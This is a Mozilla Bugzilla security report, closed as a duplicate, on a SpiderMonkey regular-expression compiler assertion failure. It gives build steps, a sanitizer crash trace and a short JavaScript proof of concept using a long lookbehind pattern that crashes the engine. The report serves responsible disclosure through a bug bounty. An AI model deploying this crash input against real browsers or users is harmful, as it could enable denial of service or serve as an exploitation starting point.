Closed Bug 1995160 Opened 1 year ago Closed 1 year ago

Assertion failure: (kMinCPOffset) <= (cp_offset), at js/src/irregexp/imported/regexp-bytecode-generator.cc:194

Categories

(Core :: JavaScript Engine, defect)

defect

Tracking

()

RESOLVED DUPLICATE of bug 1994994

People

(Reporter: sakura, Unassigned)

Details

(Keywords: reporter-external, Whiteboard: [client-bounty-form])

Reproduce

  1. Clone the Firefox mirror from https://github.com/mozilla-firefox/firefox
  2. Run build command in the js/src directory of the firefox checkout:
    mkdir fuzzbuild_OPT.OBJ && cd fuzzbuild_OPT.OBJ && ../configure --enable-address-sanitizer --disable-jemalloc --enable-debug --enable-optimize --disable-shared-js --enable-application=js --enable-gczeal && make -j64
    
  3. Run poc: fuzzbuild_OPT.OBJ/dist/bin/js poc.js

Test SpiderMonkey commit hash: 3050e6c0372952b8982733f8256c143f495879d6

Crash Stack Trace

--------------------------------------------------------------------------------
[3740043] Assertion failure: (kMinCPOffset) <= (cp_offset), at /home/sakura/gecko-dev/js/src/irregexp/imported/regexp-bytecode-generator.cc:194
#01: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x2e6ebac]
#02: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x2e92955]
#03: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x2e9543e]
#04: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x2e9afde]
#05: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x2e8820a]
#06: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x2e67711]
#07: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x233618d]
#08: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1df4c1b]
#09: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1de2731]
#10: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x23a431a]
#11: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1dffa6f]
#12: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1dff033]
#13: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1e15f11]
#14: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1dfdf3c]
#15: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1e02771]
#16: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1e02fad]
#17: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1fe7e3a]
#18: JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>)[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1fe8090]
#19: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1d5b2ad]
#20: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1d5a616]
#21: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1cc04ba]
#22: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1cb3e28]
#23: ???[/lib/x86_64-linux-gnu/libc.so.6 +0x29d90]
#24: __libc_start_main[/lib/x86_64-linux-gnu/libc.so.6 +0x29e40]
#25: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1c74759]
#26: ??? (???:???)
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==3740043==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5633aaf1bbc4 bp 0x7ffc7e3b6730 sp 0x7ffc7e3b66e0 T3740043)
==3740043==The signal is caused by a WRITE memory access.
==3740043==Hint: address points to the zero page.
#0 0x5633aaf1bbc4 in MOZ_CrashSequence(void*, long) /home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/include/mozilla/Assertions.h:237:3
#1 0x5633aaf1bbc4 in v8::internal::RegExpBytecodeGenerator::LoadCurrentCharacterImpl(int, v8::internal::Label*, bool, int, int) /home/sakura/gecko-dev/js/src/irregexp/imported/regexp-bytecode-generator.cc:194:3
#2 0x5633aaf3f954 in v8::internal::(anonymous namespace)::EmitHat(v8::internal::RegExpCompiler*, v8::internal::RegExpNode*, v8::internal::Trace*) /home/sakura/gecko-dev/js/src/irregexp/imported/regexp-compiler.cc:2217:14
#3 0x5633aaf3f954 in v8::internal::AssertionNode::Emit(v8::internal::RegExpCompiler*, v8::internal::Trace*) /home/sakura/gecko-dev/js/src/irregexp/imported/regexp-compiler.cc:2354:7
#4 0x5633aaf4243d in v8::internal::TextNode::Emit(v8::internal::RegExpCompiler*, v8::internal::Trace*) /home/sakura/gecko-dev/js/src/irregexp/imported/regexp-compiler.cc:2594:17
#5 0x5633aaf47fdd in v8::internal::ActionNode::Emit(v8::internal::RegExpCompiler*, v8::internal::Trace*) /home/sakura/gecko-dev/js/src/irregexp/imported/regexp-compiler.cc
#6 0x5633aaf35209 in v8::internal::RegExpCompiler::Assemble(v8::internal::Isolate*, v8::internal::RegExpMacroAssembler*, v8::internal::RegExpNode*, int, v8::internal::Handle<v8::internal::String>) /home/sakura/gecko-dev/js/src/irregexp/imported/regexp-compiler.cc:275:43
#7 0x5633aaf14710 in js::irregexp::Assemble(JSContext*, v8::internal::RegExpCompiler*, v8::internal::RegExpCompileData*, JS::MutableHandle<js::RegExpShared*>, JS::Handle<JSAtom*>, v8::internal::Zone*, bool, bool) /home/sakura/gecko-dev/js/src/irregexp/RegExpAPI.cpp:594:56
#8 0x5633aaf14710 in js::irregexp::CompilePattern(JSContext*, JS::MutableHandle<js::RegExpShared*>, JS::Handle<JSLinearString*>, js::RegExpShared::CodeKind) /home/sakura/gecko-dev/js/src/irregexp/RegExpAPI.cpp:862:11
#9 0x5633aa3e318c in js::RegExpShared::execute(JSContext*, JS::MutableHandle<js::RegExpShared*>, JS::Handle<JSLinearString*>, unsigned long, js::VectorMatchPairs*) /home/sakura/gecko-dev/js/src/vm/RegExpObject.cpp:739:8
#10 0x5633a9ea1c1a in ExecuteRegExpImpl(JSContext*, js::RegExpStatics*, JS::MutableHandle<js::RegExpShared*>, JS::Handle<JSLinearString*>, unsigned long, js::VectorMatchPairs*) /home/sakura/gecko-dev/js/src/builtin/RegExp.cpp:330:7
#11 0x5633a9ea1c1a in ExecuteRegExp(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSString*>, int, js::VectorMatchPairs*) /home/sakura/gecko-dev/js/src/builtin/RegExp.cpp:1432:7
#12 0x5633a9e8f730 in bool RegExpBuiltinExecMatchRaw<false>(JSContext*, JS::Handle<js::RegExpObject*>, JS::Handle<JSString*>, int, js::MatchPairs*, JS::MutableHandle<JS::Value>) /home/sakura/gecko-dev/js/src/builtin/RegExp.cpp:1632:9
#13 0x5633a9e8f730 in js::RegExpBuiltinExec(JSContext*, JS::Handle<js::RegExpObject*>, JS::Handle<JSString*>, bool, JS::MutableHandle<JS::Value>) /home/sakura/gecko-dev/js/src/builtin/RegExp.cpp:2158:10
#14 0x5633aa451319 in bool intrinsic_RegExpBuiltinExec<false>(JSContext*, unsigned int, JS::Value*) /home/sakura/gecko-dev/js/src/vm/SelfHosting.cpp:1007:10
#15 0x5633a9eaca6e in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:490:13
#16 0x5633a9eac032 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:586:12
#17 0x5633a9ec2f10 in js::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:658:10
#18 0x5633a9ec2f10 in js::Interpret(JSContext*, js::RunState&) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:3276:16
#19 0x5633a9eaaf3b in js::RunScript(JSContext*, js::RunState&) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:460:13
#20 0x5633a9eaf770 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, js::AbstractFramePtr, JS::MutableHandle<JS::Value>) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:851:13
#21 0x5633a9eaffac in js::Execute(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::MutableHandle<JS::Value>) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:884:10
#22 0x5633aa094e39 in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::MutableHandle<JS::Value>) /home/sakura/gecko-dev/js/src/vm/CompilationAndEvaluation.cpp:548:10
#23 0x5633aa09508f in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>) /home/sakura/gecko-dev/js/src/vm/CompilationAndEvaluation.cpp:572:10
#24 0x5633a9e082ac in RunFile(JSContext*, char const*, _IO_FILE*, CompileUtf8, bool, bool) /home/sakura/gecko-dev/js/src/shell/js.cpp:1315:10
#25 0x5633a9e07615 in Process(JSContext*, char const*, bool, FileKind) /home/sakura/gecko-dev/js/src/shell/js.cpp:2106:14
#26 0x5633a9d6d4b9 in ProcessArgs(JSContext*, js::cli::OptionParser*) /home/sakura/gecko-dev/js/src/shell/js.cpp:12051:10
#27 0x5633a9d6d4b9 in Shell(JSContext*, js::cli::OptionParser*) /home/sakura/gecko-dev/js/src/shell/js.cpp:12305:12
#28 0x5633a9d60e27 in main /home/sakura/gecko-dev/js/src/shell/js.cpp:12708:12
#29 0x7f8de0e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#30 0x7f8de0e29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#31 0x5633a9d21758 in _start (/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js+0x1c74758) (BuildId: d7f4ea316730d47c1dc06e27c27af348)

==3740043==Register values:
rax = 0x0000000000000000  rbx = 0x0000000000000000  rcx = 0x00000000000000c2  rdx = 0x00007f8de101b723
rdi = 0x00007f8de101ca60  rsi = 0x0000000000000000  rbp = 0x00007ffc7e3b6730  rsp = 0x00007ffc7e3b66e0
r8 = 0x0000000000000000   r9 = 0x0000000000000003  r10 = 0x00005633ac3dfeb0  r11 = 0x0000000000000293
r12 = 0x00007f8ddf203ac0  r13 = 0x0000000000000001  r14 = 0x00000000ffff8000  r15 = 0x0000000000000000
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/include/mozilla/Assertions.h:237:3 in MOZ_CrashSequence(void*, long)
==3740043==ABORTING



================================================================================

PoC

function g8(f, permissive = true) {
  try {
    return f();
  } catch (e) {}
}
const v0 = 32767;
const v1 = g8(() => "^" + "a".repeat(v0));
const v2 = new RegExp("(?<=" + v1 + ")", "m");
const v3 = "".repeat() + "" + "";
try {
  v2.exec();
} catch {}
// Flags: 
Flags: sec-bounty?
Group: firefox-core-security → javascript-core-security
Status: NEW → RESOLVED
Closed: 1 year ago
Component: Security → JavaScript Engine
Duplicate of bug: 1994994
Product: Firefox → Core
Resolution: --- → DUPLICATE

Because this was reported within the bug bounty's collision window with bug 1994994 we are splitting a bounty award between the two bugs.

Flags: sec-bounty? → sec-bounty+
Group: javascript-core-security
You need to log in before you can comment on or make changes to this bug.